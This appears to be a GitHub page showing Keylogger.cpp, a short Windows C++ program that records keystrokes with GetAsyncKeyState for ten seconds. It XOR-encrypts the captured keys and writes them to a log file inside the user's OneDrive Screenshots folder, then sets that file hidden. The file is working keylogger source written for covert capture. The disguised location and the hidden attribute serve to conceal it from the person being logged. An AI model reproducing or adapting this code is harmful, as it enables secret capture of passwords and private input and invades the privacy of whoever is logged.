-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKeylogger.cpp
68 lines (53 loc) · 2 KB
/
Keylogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <fstream>
#include <windows.h>
#include <ctime>
#include <lmcons.h> // For UNLEN
#include <direct.h> // For _mkdir
#include <cstdio> // For remove()
using namespace std;
// Function to XOR encrypt/decrypt the data
string xorEncryptDecrypt(const string &data, const string &key) {
string result = data;
for (size_t i = 0; i < data.size(); ++i) {
result[i] ^= key[i % key.size()];
}
return result;
}
int main() {
ofstream logfile;
int key;
time_t start_time, current_time;
// Get the username
char username[UNLEN + 1]; // Buffer to hold the username
DWORD username_len = UNLEN + 1; // Length of the buffer
GetUserName(username, &username_len); // Retrieve the current username
// Construct the full path for the log file in the OneDrive Pictures directory
string logFilePath = "C:\\Users\\" + string(username) + "\\OneDrive\\Pictures\\Screenshots\\log.txt";
if (remove(logFilePath.c_str()) == 0) {
cout << "Previous log file deleted successfully.\n";
}
// Open the log file in truncation mode to create a new empty file
logfile.open(logFilePath.c_str(), ios::trunc);
time(&start_time);
string loggedData; // Buffer to hold logged key data
while (true) {
time(¤t_time);
if (difftime(current_time, start_time) >= 10) {
break;
}
for (key = 8; key <= 255; key++) {
if (GetAsyncKeyState(key) & 1) {
loggedData += static_cast<char>(key); // Store keys in loggedData buffer
}
}
}
// Encrypt the logged data using XOR
string encryptedData = xorEncryptDecrypt(loggedData, "12345");
// Write encrypted data to the log file
logfile << encryptedData;
logfile.close();
// Hide the log file
SetFileAttributes(logFilePath.c_str(), FILE_ATTRIBUTE_HIDDEN);
// Decryption at https://www.dcode.fr/xor-cipher
}